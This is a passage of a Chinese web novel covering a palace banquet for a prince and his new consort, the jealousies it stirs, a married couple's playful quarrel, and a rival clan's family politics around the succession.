崔栋见卢氏盯着他好久不说话,以为她还在生气,想了想说道:“以前是不怎么像样,如今不是与你成亲了么,不会再像以前那样的。我要是还敢这么干,先不说你了,阿爹阿娘那边也不可能放过我呀。” 这也说的不错。没成亲之前,崔预夫妇在这方面不怎么管崔栋,只要求他别太胡来、弄出私生子什么的出来。可成婚之后就不一样了。没成亲之前还能算是不懂事,但成亲之后就是大人了,得担负起丈夫甚至是父亲的责任。还敢乱来,真当崔大将军放在家祠里的那根大棍是摆着好看的么? 这对于卢氏来说也是一个保障,不正是因为崔大将军夫妇如此的家风做派,她才来到大将军府做儿媳么。她轻轻“哼”了一声,表示不再与崔栋计较这件事。 崔栋总算是松了一口气。他不明白为什么女人老爱计较这种事情,明明那都是在她之前的事情了不是么?但他还算理智,这种话没有问出来,否则散宴后他回去就等着吧。 自己的危机解决了,崔栋看着这满殿“盛况”,想到这都是冲着百里漾来的,不由得有些幸灾乐祸起来。这女人大多都是醋做的,待会五郎他们过来看到这章徳殿中的情形也不知道心里会作何感想,也不知道王妃的胸襟够不够广阔。 “大王、王妃至!”此时突然响起内官的传唱,宣告着江都王与王妃的到来。 殿中众人连忙停止了当前的一切活动,查看了一番自己的仪容后,纷纷对着已携手行至殿中的百里漾与颜漪躬身行礼,“拜见大王,拜见王妃,长乐安康。” 满殿之人顿时只看见后脑勺与脊背。 百里漾没有如同往常一般立即叫起,而是转头看向身侧的颜漪。这是他们回到江都之后第一次在如此隆重的场合以江都王和江都王妃的身份并立出现。他怕颜漪会紧张,特意关注了一下她的神情反应。 颜漪会紧张么?或许有一点,但这一点点紧张也在百里漾投过来关切的目光时全都消弥殆尽了。他们并肩携手而立,相视一笑后同时扭头面向殿下之人,齐道:“诸位免礼平身。” 众人听到声音起身,下意识地朝上位投去一眼。江都王他们许多人或多或少都见过一面,但新王妃确实头一回见到。直视位尊者固然为不敬,但他们更多的是想知道新王妃的样貌。只是一眼而已,也算不上冒犯,也足够让许多人看清新王妃的模样了。 匆匆一眼便觉惊艳。不少人在之前已经听说过定国公长女貌美之名,如今一看果真名不虚传。此刻她一身王妃礼服与江都王站在一起,瞧着极为般配不说,本身也自有一股高华气度,仪态若天成,叫人视之不免有自惭形愧之感。 众人很快联想到王妃的出身上,不禁在心中叹道:江都王,椒房之幼子,果然备受宠爱。只看这王妃就知晓江都王在帝后心中的份量几何了。 二人已至,便可开宴了。 今日是赐宴,亦是颜漪作为江都王妃在江都的第一次正式亮相。既是在众人面前宣告她的身份,也是让她接受众人的朝拜的。且百里漾身为江都之主,他娶王妃乃是整个江都上下都要为之欢庆的大喜事。章徳殿中的这些人之前不得观礼,事后也要奉上贺仪,祝贺二人的新婚大喜。 由范国相率先起身离席,其余人纷纷跟上,再次参拜道:“贺大王、王妃新婚之喜,愿大王与王妃百年好合,永结同心,长乐无极。” 之后便是轮番进献贺仪。当然不是所有人都要进献一次,只是由范国相等品阶高者代表进献,否则这满殿的人,怕不是得献到后半夜去。 百里漾与颜漪端坐在上位,接受众人的道贺和献礼。每献一个人,百里漾便要与颜漪说道这个人的出身来历、本事能力以及这人是站哪边的。而在这些人之中褚之彦是不可能忽略的,但也无需说太多,只需要让颜漪知道他是褚之彦就差不多了。 “今日倒是稀奇,他竟然把他的二儿子给带来了。”百里漾觉得有点不可思议。 今日的赐宴褚之彦只带了两人前来,分别是他的长子褚宗铭和次子褚宗锒。章徳殿上只把儿子带来的人也不是没有,这没什么稀奇的,但奇怪的点在于褚之彦把褚宗锒带来了。要知道褚氏这种世家大族重嫡庶之分的规矩,褚宗锒身为庶子,向来是不会被褚之彦看在眼里的,一些重要的场合也不会将人带出来。因为在这些世家大族出身的人看来,庶子都是上不得台面的,带出来只会让人耻笑。 有时候百里漾真的觉得这些世家大族的想法挺可笑的。既然觉得庶子上不得台面,那为什么要将人生下来,说白了还不是自己骨子里的劣根性在作祟,一边嫌弃庶出子女的存在,偏偏又停止不了自己的行为。有时候看着那些一举一动尽显端方雅正、风姿超然的世家子们,只叫人觉得他们道貌岸然,实在装得可以。 颜漪的目光随之转向百里漾所指示的席位上,看到了褚之彦父子三人。无需百里漾多做解释,只通过一点细节,她就能分辨出他们谁是谁,即便她在此之前从未真正见过他们。 父子三人,褚之彦居正中靠前,两个儿子则在其后一左一右的位子。这时候讲究以左为尊,世族看重嫡庶之分,自然是身为嫡长子的褚宗铭在左,在右的只能是褚宗锒了。褚宗铭与褚之彦长得很像,褚宗锒只在轮廓上肖似褚之彦。不仅是位置,从衣服配饰上也能看出来两兄弟的不同,这份不同是通过品质的参差来体现的。 很显然,身为庶子的褚宗锒在长兄褚宗铭身边是要显得“寒酸”些的。 百里漾与颜漪解释道:“褚之彦有三子二女,唯有次子褚宗锒非正妻所出,此人在褚氏一直不怎么受待见,褚之彦向来也不大看上这个儿子。怎么,他何时转的性?” 同一个父亲,母亲却不是同一人。褚之彦的儿女们在出生的那一刻开始就已经分出了阵营。褚宗锒的阵营里只有他一个人,偏他又是世族里卑微的庶出,势单力孤的,自小就受到其他几个兄弟姐妹的排挤,日子并不是很好过。 褚宗锒这样的例子,颜漪身边虽然不常见,但圈子再扩大一些就能够听到很多。庶出之子不受待见,嫡出兄弟姐妹打压磋磨,日子艰难,类似的传闻时常有传出。那些留存至今的世家大族最是如此,而本朝一些人家发迹之后为了融入他们的圈子也学起了这等做派。对这样的人家,定国公府向来是少来往的,或者只维持面子上的情分而已。 “褚氏之前可是发生了什么事么?”颜漪问道。 向来不被待见的人突然被允许一同参加如此重大的宴会,只能是他的价值被当权者看到了,也必然是发生了什么导致的这一变化。 她眼眸的瞳色很深,此刻带着微微的疑惑看过来时,便真的如书上所说的“一泓秋水”般动人。百里漾呆了一瞬,回神之后想起颜漪问了什么,遂回道:“岁贡之前确实发生了一些事情。” 第93章 波折 百里漾将褚宗铉在三四月时搞出的“易田”事件大致说了一下, 并说道:“这褚宗铉是褚之彦幼子,褚之彦之母对其极为溺爱,使他养出了一副骄恣放纵、目中无人的性子。那件事之后, 褚宗铉在江都是决计做不成官的,褚氏下一代若只有褚宗铭鼎力门户,怕是不够。可能就是因此让褚之彦想起来自己还有一个二儿子。” 颜漪道:不知这褚宗锒有几分本事?”褚氏的立场与他们相悖离,对方若是有才能之人,又一心为褚氏谋求利益, 于他们来说总归是不好的。 “这倒是不清楚。”百里漾微微摇头, 瞧了一眼远处看着规规矩矩、不主动说话极为安分的褚宗锒后收回目光, “此人素日在褚氏并没有多少存在感,褚之彦似乎也只是让他管一些家族中的事务, 并无什么特别的事迹传出来。” 存在感低,安分守己, 能力不出彩也算不上堪忧,在及格线之上却达不到优秀的程度, 这样的褚宗锒在褚氏里就是一个半透明的人。 不易引起他人的注意, 自然也就不会引来他人的探查。就是不知道他所表现出来的样子是否就是他真实的模样, 莫非是有意藏拙以避锋芒? “真真假假,过一段时日总能显露分明。大王只需静待便是。”颜漪含笑,举杯对百里漾敬道。 百里漾一想也是。 好不容易有可以向上爬的机会,只要不是真正无欲无求之人都不会放过。 褚宗锒亦是褚氏子,他会愿意一直过这般备受排挤打压的憋屈日子么?如今褚氏当家的还是他的父亲褚之彦,他受了委屈还可以去找褚之彦诉苦、寻求一下公道。等哪日褚氏当家做主的人变成了他的长兄褚宗铭,他的日子只怕比现在更难过更憋屈。 只要褚宗锒不想当受气包,他就会抓住当前得来不易的机会为自己争取话语权甚至权力,那他就必定得做出什么来证明自己。届时, 是狼是兔一看便知。 王妃敬自己酒,百里漾当即将褚氏父子的事情抛之脑后,乐呵呵举杯与颜漪同饮。他们作为宴会的主角,一举一动都备受关注。这章徳殿中的人看似都在与周边人说话议论,实则一直分了几分注意力投注在最上面的位子上。 从头到尾就见着这两人一直在亲密地说着悄悄话,相互敬酒,看的人都要齁死了。一些“别有用心”的人见此情景则不由暗暗着急,江都王都不看他们,那他们哪来的机会。 “久闻王妃贤名,只苦于远在江都无缘得见。今日臣女有幸拜见,斗胆敬酒一杯,望王妃成全臣女一片心意。”百里漾与颜漪正说着话,席间忽然站起一名女子,举杯对颜漪敬道。 此举让殿中顿时为之一静,众人神情各异,一时之间目光都集中在这名女子身上,逐渐在百里漾、颜漪与她之间来回流转。 气氛有些不对。 百里漾乍闻有人要敬王妃酒时是很高兴的,这人的话语间还尽是对王妃的仰慕之情。他起了点好奇去看看这人是谁,抬眼看去正正对上那名女子的目光,却是下意识皱眉了。 这人,怎么感觉一直在看他啊,她要敬王妃酒,看着他做甚? 甚至颜漪的目光也朝自己看过来了,那目光里含着的意味……明明她眼眸以及唇角都是含着笑意的,可自己为什么觉得有点心慌慌的呢? 百里漾觉得莫名,他微眯着眼睛扫视了殿中所有人一圈,扫到了崔栋身上的时候,目光对视,这货怎么一脸看好戏的表情? 百里漾可真是太熟悉崔栋了。他们从小一起长大,说得粗俗一点,崔栋一撅屁股他就知道这货要放什么屁。这会儿别看崔栋表面上一脸正直,微眯的眼睛以及眼里闪烁的光都在表明这货在暗搓搓的等着看好戏。 这让百里漾心中那一股大事不妙的预感愈加的强烈了。尽管如此,他到目前为止还是没有发现问题出在哪里。 众目睽睽之下,一名仰慕自己已久的臣女要敬自己酒,言辞挑不出错来,颜漪自然不会不给这个面子。她举杯饮尽,顿时殿中响起了一片喝彩之声,直言“王妃雅量”。 一杯饮毕,那名臣女虽犹有不甘心却只能退下回席。可她起了这么一个头之后,后面跳出来好些个女子也要敬王妃酒,说辞都差不多。颜漪没有拒绝,举杯回应了她们,殿中赞誉之声连连。 不知道为什么,颜漪每回敬一杯都要看百里漾一眼,看得他莫名心慌慌的。 眼看着颜漪越喝越有,百里漾看不过眼了。眼看着底下某些人依旧蠢蠢欲动要坐不住了,准备当第四人时,他目光冷冷地往殿中扫视过去,举起酒杯,“接下来的酒,本王替王妃喝,本王来者不拒。” 他说是这么说,可显露出来的冷冽的气息却是警告的意味。 大王不高兴了。 底下的人见百里漾维护王妃,不敢再造次,纷纷缩了回去。晚宴继续进行,一群人说说笑笑,似乎全然没有在意之前出现的小插曲。 满殿烛光融融,丝竹歌舞悦目动听,氛围一片和乐。众人彼此之间推杯换盏,交谈欢笑声时有传出殿外,惊飞偶尔落在阶上的鸟儿。 宴会一直持续到月上中天,众人纷纷向江都王夫妇告辞,步出章徳殿。一些醉酒之人则在左右亲眷的看顾搀扶之下离开,叫殿外吹来的冷风扑了满脸,控制不住地打了一个哆嗦,脑子都被冷得清醒了一点。 范国相毕竟年纪上去了,席间高兴之余也饮了不少酒。今夜陪同范国相前来的是他的长子范大郎,正搀扶着步履不怎么稳当的父亲。 百里漾担心范国相摔倒,在人临走之前特意嘱咐让范大郎仔细看顾范国相,不放心之余还令王宫侍卫亲去送二人回去后再来禀报。 范大郎恭敬谢过,扶着自己父亲离开王宫。 赴宴之人陆陆续续离开,此前无比热闹的章徳殿顿时冷清了许多。宫中侍人在殿中收拾着宴席后的残局,偶有杯盏碰撞的声音响起。 “你怎么还不走?”百里漾看向廊柱处依旧杵着不动的崔栋,一双眉毛拧起来,言语之间大有催赶之意,“成了亲就别想着来蹭住了。” “自是要走的。”崔栋忍笑,因为喝醉而染红的面颊绷得紧紧的,摇头晃脑地叹息,“兄弟我是担心你,本想在临走之前给你提个醒,但现在看来,你似乎不是很需要的样子。” 崔栋看百里漾还是一副状况之外的懵圈样,想到他即将可能遭遇的情况,嘴角就更难压了,正要再说些什么,余光见到颜漪朝着他们走过来了,改为一脸同情惋惜道:“五郎啊,自求多福吧。我只能帮你到这了。” 百里漾更懵圈了,这货在说什么乱七八糟的? 眼看颜漪已行至跟前,崔栋忙行礼告退。颜漪看看百里漾又看看他,笑道:“厨下已煮了解酒汤,都尉不若喝一碗再离开。” “不了,还是不麻烦了。”崔栋连连摆手,见妻子卢氏朝着这边走过来,仿若见到了救星,正肃道,“天色已晚,臣与内子欲归家,在此拜别大王与王妃。” 卢氏正好来到,便一起行礼作别。颜漪亦同他们告别,吩咐左右侍人将他们送至宫门。 上了马车之后,卢氏说崔栋,“你做什么?火急火燎的,背后跟有人撵似的。” “你不懂。”崔栋回了妻子一句,接着又唉声叹气起来,假模假样的最后自己忍不住笑了,“也不知道五郎今夜要怎么过?” 最绝的是百里漾还不知道发生了什么。方才那些人说是仰慕王妃要敬酒,实则却是醉翁之意不在酒,一个个眼里放了狼光似的盯紧了百里漾,争着抢着让百里漾多瞧她们几分。这人也真是迟钝得紧,从头到尾都没有觉察到究竟哪里不对。 女人吃起醋来那可是不得了,崔栋自己就深有体会,不费老大劲别想哄好,甚至自己还得吃一番苦头才行。王妃再是端庄得体,那也是女人。那几人每敬一次酒,她都要看五郎一眼,看得他都替五郎心慌。 崔栋在这里哀叹百里漾即将会遭遇的“不幸”,没想到把火烧到自己身上了。 卢氏不高兴了,手指一把掐住了崔栋腰间的软肉,使上了些力气,“大王与王妃之间的事情,由得你在这里胡说什么。大王不在意那些人,你倒是看得起劲。” 当时殿中的情形她也瞧得一清二楚,一群没皮没脸、不顾尊卑礼仪的人上赶着给江都王献媚,偏偏又冠冕堂皇地扯了仰慕王妃的名头作筏,直接将王妃给架住了,她看着都来气。好在王妃沉得住气,顺水推舟就将局面给化解了。 除了王妃,卢氏也在重点关注江都王的反应。值得欣慰的是,从头至尾江都王都没有分出多少余光给其他人。他似乎没反应过来他才是别人真正想要钓上来的那个“饵”。 百里漾迟钝、不开窍的反应让卢氏万分感慨,仅从男子的身份来看,他这样的可算是万中无一。再加上他天潢贵胄的身份,这就显得更加的难能可贵了。 一个男人有没有在看除妻子之外的女人,眼神是很难骗得过人的。江都王看那些女子,眼神可是清白得很。倒是自家的这个,一场晚宴下来东张西望的不知道在看些什么。 越想越来气,卢氏指尖掐住软肉更用力了。崔栋差点痛呼出声,赶紧握住妻子的手求饶,“好好地说着话,做甚又掐我,我又怎么惹你了?” “你就是惹着我了。”卢氏撤回手,闻到崔栋身上的酒气觉得熏得慌,“你今晚去书房睡。” 崔栋懵圈了,“不是,这么突然的,我就被发配睡书房了?发配也该有个罪名吧,我罪犯何事了?” “你一身酒气,闻着就臭烘烘的。”卢氏一脸嫌弃道。 “……”崔栋扯衣服闻了闻自己身上的味道,转头又跟小狗似的嗅嗅妻子身上的味道,“咱们喝的都是一样的酒,要臭我们都是一样的臭。” 他的意思是,大家都一样臭,谁也别嫌弃谁。 “正是因为我们都臭了,所以才要分开睡,各自散了味道就好了。”卢氏一本正经道。 崔栋:“……”他干脆一头扎进妻子怀里,开始耍无赖,“不管不管,我绝不去睡书房。” 卢氏给他的大脑袋蹭得发痒,又羞又想笑,伸手去推他,“你快起来,外面都有人,让人听去像什么样子。” 崔栋才不管,他才不要去睡书房硬邦邦的床榻。卢氏真是拿他没办法,最后只能应了。 第94章 谋划 那厢崔栋与卢氏夫妻俩吵吵闹闹, 这边百里漾正与颜漪走在回永延殿的路上。 百里漾饮多了酒,脸上热气叫夜里的凉风一吹顿时散去不少,人也倍感舒适。他们两人走在前面, 身后隔着七八步的距离缀着一群伺候的宫侍。平素他们两人单独拎出来一个身边少说都要跟着四五人,如今聚在一起,在这座王宫里是独一份,瞧着相当壮观。 “崔栋那厮怕是吃酒吃多了,一通胡言乱语的, 怕是他自己都不知道自己在说什么。”迎着清新凉爽的夜风, 百里漾一路走一路在碎碎念, 还跟颜漪说道,“他这人就是这样, 喝多了就喜欢胡说八道,没人能够跟上他的脑回路, 等第二日醒来就什么都忘了。” 百里漾想了一路还是想不清楚崔栋临走之前跑来对他说那一通话想要表达什么,且那时候那货的脸红得跟猴屁股似的, 谁知道他是不是喝醉了在瞎叭叭什么。想不明白的事情, 他这会儿脑袋也有些沉就选择不去想了, 反正应该不是什么要紧的事情。 “七娘,你不要同他一般见识,他有时候就是会间歇性抽风的。”百里漾顿住脚步,转眸很是认真地与颜漪说道。 他的言辞很清晰,说话也没有停顿,相信很多人看了都会觉得他没有醉。可此刻距离他最近的颜漪却能无比清楚地看到他眼中的迷蒙,像是蒙了一层水雾,闭眼又睁开时忽闪忽闪的,显得有几分憨态可掬。 颜漪觉得有时候百里漾偶尔嘴里蹦出来的词汇很是新奇, 是她从来没有听到过的,有些听着甚至觉得奇异,这样的几个字分开来看似乎没有什么关联,一般人也想不到会将它们凑到一起,偏偏从百里漾的嘴里说出来让它们组合到一起,神奇地让人能够理解它们所要表达的意思,也很贴切。 若是放在其他时候,颜漪也许会好奇百里漾怎么会有这样的“奇思妙想”,但此刻的她思绪却无暇顾及这个了。她看着百里漾,眼眸中沉压在深处的波光微微闪动,但最后也只有无声的叹息,轻身道:“大王,你醉了。” “醉了,我醉了?”百里漾眨了眨眼睛,一手扶住自己愈发变得昏沉的脑袋,“好像是醉了。” 他一直知道自己的酒量不算好,今夜的宴席上似乎也喝了不少的酒。没有办法啊,他们都要上来酒他酒,本来他是不想喝这么多的,可是他们说这杯酒是对他与王妃的祝福。既然是祝福,那怎么能不接受呢?然后一不小心就喝多了。 这样也好,他喝的越多代表他们得到的祝福就越多。 “大王何必多喝,仔细明日头痛。”颜漪看着百里漾一无所知的朦胧醉眼,心口处像是被堵住了一般,她的愤怒、气恼等种种情绪通通堵到了一起,她想要发泄情绪,理智却告诉自己不应该如此,尤其不应该对眼前的人发泄。 毕竟他没有做错什么不是么?他连那些人的心思都没有看出来半分,乃至一点多余的目光都没有落在那些人身上。后来见她一直在接受她们的敬酒,明明自己酒量不好也站出来帮她挡住,在众人面前表示维护她的意图。 他对她已经足够好了。 不要说对比同嫁诸侯王为王妃之人,就算是那些仅是嫁给寻常权贵之家的女子大多数也不会有她这样的好过。况且,在她嫁给百里漾之前,对百里漾以后可能会出现的侧室不是早有准备了么?以百里漾的身份,他日后身边会没有别的女人么? 宴会之上那些人献女邀宠的行为固然恶心,但这些她在来江都之前也都是设想过的。百里漾的身份地位就注定了他是一个几乎所有人眼中的香饽饽,有的是人想要拼了命地向他靠近。她能够阻止一次,却不能阻止每一次。 夜风很凉,迎面吹过来如同给颜漪浇了一盆凉水下来。她突然惊觉,自己的想法竟不知何时发生了改变,若是从前,她从来想过要让百里漾只守着她一人的。是从什么时候开始,她逐渐萌生了这个想法的?颜漪不得而知,她只知道现在她的心乱了。 理智告诉她,她应该对今夜宴席上的事情淡然处之,即便百里漾在日后提出要纳侧室,她也该履行作为王妃的职责,替他迎纳新人。但此刻堵着的闷气告诉她,她并不想这样。她的情感与理智就像火与冰一般在她的脑海之中激烈地来回碰撞,而“火”逐渐占据了上风。 百里漾还没有发现眼前人的不对劲,他的脑袋此前是发沉,现在已经开始有些晕乎乎的,路也开始有点走不直了。颜漪说的话,他只听到了半句,呆了一会儿,似乎是在思考,后说道:“酒喝多了会难受,我帮你喝就好了。敬你与敬我是一样的,我难受总比你难受的好。” 颜漪的眸色更深沉了些,她微微垂眸掩去了眼底一闪而过的暗芒,面上换上了无奈的神色,看着百里漾行走的路线偏移,拉住他的衣袖,“大王,这边才是永延殿。” “哦,哦,是该走这边的。”百里漾还不知道自己王妃的思绪在这短短的时间内经过了怎样的变化,他努力睁大眼睛辨认眼前的路,发现自己不认识了,转头看向颜漪,垂着头像个委屈的大狗狗,有点丧气,“王妃,我好像不知道怎么走了。” 颜漪顿时心软几分,拉住百里漾的袖子,“大王跟我来便是。” 拉了两下,人没动。 正当颜漪疑惑时,百里漾无比熟练地从宽大的袖袍里找到了颜漪的手握住,正经且郑重说道:“要这样牵着,这样我就不会走丢了。” 颜漪忽然想笑,这人知不知道自己醉后会变得这般的,嗯,可爱? 酒品相当好的百里漾就这样被颜漪牵回了永延殿,这时已经可以确定他是彻底醉了。即便如此他也不闹腾人,基本上颜漪叫他干什么就干什么,如此听话顺从让伺候的初禾看了都忍不住在心里啧啧称奇,不过面上不会表现出来。 沐浴之后换了寝衣,再饮一碗醒酒汤之后,百里漾躺到了床榻上,他还想等王妃一起来入睡的。但他根本不知道自己是何时睡着的,再睁眼时已是第二日了。只是宿醉的感觉并不好,脑袋一阵一阵的钝痛,不算很疼,但也是够扰人的。 怀里的颜漪还在熟睡,百里漾并不想吵醒她。此时醒了也睡不着,距离以往起身的时辰还有一段时间,他干脆闭着眼睛缓解一下,同时回忆一下昨晚发生了什么。 宴席之上的情形他都记得,没有发生什么特别的事情。到时散宴之后,崔栋那货跑来与他说了一堆乱七八糟的话,说了什么不太记得请了,准是那货喝多了才干出来的事。 百里漾在心里吐槽了崔栋一阵,这会儿头痛也缓解过来了。他静静地躺在床榻上,听着外面从一开始的寂静无声到逐渐有了细碎的动静,天光也从无到有。此刻拥着怀里安然熟睡的人,百里漾难得有一种岁月静好的惬意感。 也不知过了多久,怀里的人悠悠醒转,睁开眼便看到了百里漾对着她露出一个大大的笑容。随后侍女放轻脚步进来,低声询问是否要起了。 百里漾问颜漪,“要起了么?” 在等到点头的回复后,他出声答复侍女,侍女便转身出去令人准备二人洗漱更衣需要的用具。随后百里漾依旧是在永延殿用了早膳后才离开去“上班干活”去了。 宴会过后,百里漾便要准备去边境巡视之事了。其实说是准备也不尽然,毕竟此前已经做过计划了,只是因为赐宴的事情将事情往后延了延。如今定下了出发的日子,在此之前则是再看看还有什么没有安排妥当的地方。 封国一地之主出行,排场必不小,前前后后准备起来要耗费不少的功夫。可百里漾不喜欢这样声势浩大的阵仗,况且真要按照诸侯王仪仗的规格来准备实在耽误功夫,他选择了轻车简从,另外点了五百卫士随从。 原先百里漾的本意是点三百人随行护卫,但范国相知晓了他在围场遇刺之事后心有余悸,从安全为上的角度考虑,坚决要求增加到五百人。哪怕身在江都之内亦不可掉以轻心,别忘了褚氏的存在,天知道他们会不会为了定安王而铤而走险,永远都不要去赌那些人有没有这个胆。崔栋也是这个意思。 百里漾也没有多坚持,同意了此事。 他们在为巡视边境的事情做着事前准备,另一边的褚氏也没有闲着。昨夜散宴之后,褚之彦便命人传话,让接到传话的人次日到他书房中来叙话。 这显然是要在褚氏内部开一场小型会议,能参与到这场会议里的人,必然是在褚氏里面身份地位重要的人物,还得是褚之彦信任倚重之人。 这日清晨,褚宗锒往褚之彦居住的院落请安。他前脚刚刚跨入院门,褚宗铭后脚便来了。褚宗锒忙给他行礼,“兄长,安好。” 见到褚宗锒这个二弟,褚宗铭眉头微不可见地上挑,眼底酝酿着晦暗的情绪,面上却是一派和煦的笑容,抬手让褚宗锒起来,“二弟这么早就过来了。” “过来给父亲请安。”褚宗锒低眉顺眼道。 “昨日宴会你可是喝了不少酒,今晨起身时可有不适?”褚宗铭表露出了几分关切,还说道,“若身体不适就不必逞强了,父亲那块为兄我会替你去说,免了你的请安。” “多谢兄长关心,服用了醒酒汤后已好多了。”褚宗锒依旧恭顺道。 看着这油盐不进的二弟,褚宗铭心底有些着恼了,但他仍是不动声色,边走边与褚宗锒闲话家常似地说着话,却始终端着一副高高在上的嫡长兄姿态,“你还年轻,有些事情不必逞强。就如昨日的宴会,也并非所有人来劝酒你都要喝下的,该拒绝当拒绝,怎么着你也是褚氏的二公子,莫要堕了我们怀郡褚氏的名声。” “是,兄长教训的是,我记下了。”褚宗锒低眉垂眼之下,谁也看不清他的神色。面对褚宗铭的训诫,他都一一领受了,并无半点反驳不愿,藏在袖子中的手却攥紧了。 昨日王宫赐宴,当他得知自己能够一同前去时是无比惊喜的。这是不是说明,父亲已经看到他了?然而在这个家里,有件事情让他高兴了,就必然会有人不高兴。在得知这消息的当晚,他在自己的院子里被冲进来的褚宗铉打了一顿,若非阻拦的及时,他那晚就得断掉一根肋骨,哪里还去得了宫中的宴会。 而对他施暴的褚宗铉受到的惩罚不过是罚跪祠堂一夜,甚至都没有到半夜,褚宗铉就跑出府去,事后也没有人追究。挨了一顿打的他不过是得到管家口中传达的来自褚之彦的冰冷的慰问以及一些药品,而那晚过后这件事情也仿若没有发生一般。 不,这件事情并没有过去。 宴会当晚,褚宗锒作为唯二被褚之彦带去王宫赐宴的儿子之一,自然是受到了许多人的关注。他也是第一次参与这样重大的场合,心情激荡的同时却没有忘记身边还有一道冰冷的目光一直在注视着他,那来自他长兄褚宗铭。 对于他能够被允许来赐宴这件事情,不满的人除了没有能来的他的三弟褚宗铉,还有就是他的嫡长兄褚宗铭。他沸腾的心顿时冷了下来。 褚宗锒告诉自己,他要忍耐,要沉得住气,今日已经是一个很好的开端,他不能也无需在宴会之上出彩博取别人的关注,他只需要安安静静的就足够了。他只要足够沉默,不主动,应当可以平稳地度过今晚。 可事实并不如此。 他想安分,褚宗铭却不放过他。褚宗铭故意找了一些人来灌他酒,面对褚宗铭看似在笑实则冰冷的眼神,他根本拒绝不了。他心里也清楚,这是褚宗铭给他的警告,警告他不要觊觎不属于自己的东西,他作为庶出之子的本分就是安分守己。 他只有老老实实喝了,日后的日子才不会更难过。 今晨也是如此。昨晚他们都收到了今日来书房议事的传话,往常褚宗锒是决计不可能参与到家族如此重要的会议之中的,可如今褚之彦竟然叫他参加了。他心里明白,是上一回褚宗铉因为换田的事情让褚之彦失望了,转而将目光投向了他。也更是因为褚氏如今的处境,家族中需要有更多有能力的人去担当大任,为褚氏挽回颓势。 对于褚之彦来说,褚宗铉这个儿子看着是指望不上了,褚氏未来只有一个褚宗铭还不够,所以他开始想着培养次子。但对于褚宗铭来说,一母同胞的嫡亲弟弟被父亲放弃转而培养庶出的弟弟,他不情愿,但褚氏如今掌权的人是他的父亲,他也不能说出反对的话。 今晨说的这一番话,不过是褚宗铭对褚宗锒的敲打。从目前来看,褚宗锒还算是识趣听话。但这并不意味着褚宗铭对他彻底放松警惕和戒备了,还需要随时观察。 “儿子给父亲请安。”到了褚之彦的院落里,两人给褚之彦请安。 褚之彦正在擦脸,看了他们两人一眼后,将帕子扔回水盆里,来到外厅的桌子前坐下,指了指桌面上的早食,淡声问道:“可用了早食?” 褚宗铭和褚宗锒皆说没有,于是褚之彦让他们坐下来一道用早食。 世家大族之中很讲究“食不言寝不语”的规矩,故而这顿父子三人共进的早食期间只有碗筷轻微碰撞以及进食发出的声音。两炷香的时间过后,褚之彦停箸,随后褚宗铭、褚宗锒兄弟俩也跟着停箸。 父子三人从食桌上撤下,转到了花厅之中。婢女上来为他们奉上漱口之用的香茗,三人用过之后再将东西悉数撤下去。褚之彦不说话,目光在长子与次子之间流转,神色平淡,让人摸不透他在想什么。 褚宗铭与褚宗锒略有心慌,但面上还算镇定,也都没有说话。好在这样的沉默维持没有多久,花厅便有下人小跑进来禀报,“七爷他们来了。” 褚之彦道:“请到书房去,令人奉茶。”而后看向两个儿子,“我们过去罢。” 褚宗铭与褚宗锒当即躬身应是,跟在褚之彦的后面去了书房。他们到书房时,里面已经坐着三人了。见褚之彦来到,纷纷起身问安。褚宗铭与褚宗锒见了这几个长辈也行礼问好。 这几个俱是褚氏之中的心腹要员,在江都担任官职,昨日也参加了王宫的宴会。其中一名被褚氏的下人称呼为“七爷”的亦是褚氏族人,名为褚之邑,在褚之彦这一辈之中行七。他之祖父与褚之彦的祖父是同一个父亲,两者的亲缘关系虽说还未出五服,但到底还是远了一点。褚之邑能够成为如今褚氏的核心人物之一,本身自然是有实力和本事的。 褚氏以诗书传家,家族中子弟基本上走的都是从文的路子,出仕做的也是文官。褚之邑在其中算是一股清流,他习武,走的是武将的路子,而且走得还很成功,如今在边境领着将军一职,在褚氏之中也是举足轻重的人物。褚氏但凡有要事,必不能绕开了他去。 其余两个,一个是褚氏族人,另一个虽不姓褚,但他拜在褚氏门下,不仅是褚氏门生,还更是娶了褚氏女,这辈子是彻底与褚氏绑定了。 人齐了,那么议事也就开始了。 这次议事主要为两件事,其一是江都王娶定国公之女为妃之事,另一个则是离渊的事情。 关于江都王迎娶王妃的事情,其实大家都早有准备,毕竟江都王的年岁摆在那里,他这样的年纪已经算是目前皇嗣之中最晚成亲的了。在岁贡之前就有不少人猜测江都王这次回去帝后会给他准备大婚,果不其然,江都王这次回来将新娶的王妃一并带回来了。 从褚氏的角度出发,他们并不能阻止江都王迎娶王妃,也不能干预王妃的人选,他们所能够做的就是干看着,等一个结果。现在结果出来了,于褚氏、褚氏支持的定安王来说无疑是很糟糕的。 定国公的嫡长女,陛下竟然将她指给了江都王! 这是他们预想过最糟糕的结果了。 只是一个女儿而已,也未必就是将定国公府与江都王乃至椒房绑定了。可这桩婚事里透出来的皇帝的意思令人颓丧不已,皇帝这是在为椒房一脉撑腰呢。他知道太子病弱,其他儿子会盯着东宫的位置,这算是给其余人的一个警醒么?他即便要另立东宫,最先考虑的也应当是江都王,是么? 即便没有太子,那还有江都王在。皇帝的初心依旧不改,态度已然强硬,已然令不少人生了退却之心。从龙之功固然令人眼红向往,可一旦失败,不仅身家性命不保,还有可能会祸延全族。他们真的要拿全族上下去博取那个未必能到手的拥护之功么? 褚氏是一个大家族,褚之彦这一支是主支,确实话语权最大,但内部也会有其他的声音。对于褚之彦要全力支持定安王争夺储位的选择,褚氏内部一开始就有不同意的声音,但声音太少也太小,直接就被淹没了。 因为对于那时想要再次回到往日家族荣耀巅峰的褚氏来说,定安王已经是他们最好的选择了,而且定安王也是除了椒房一脉的皇嗣之中最有气象的一个了。定安王给出的诚意也十足,迎娶了褚氏女为正妃,并承诺他日登极之时,褚氏女必正位椒房,褚氏也会成为名副其实的椒房贵戚。 他们所谋划的大事前景无疑是很美好的,但实施起来才发现阻碍重重,这里面的坑有多大,不顺的地方太多了。不仅是因为褚氏嫁女与定安王为妃触怒了皇帝,使得褚氏被摁在江都王的封国里处处受掣肘和打压,还有他们所支持的定安王胃口是越来越大,私下向褚氏索取的财物愈来愈多,如今的褚氏已经在掏家底供着他了,这简直就是一个无底洞,再这样发展下去褚氏就要被拖垮。 褚氏也并非完全是褚之彦这一支的褚氏,眼看着钱一日日跟流水似的花出去却半点收获都不见有,内部逐渐滋生出不满的声音,甚至出现了一些要“及时止损”的论调。 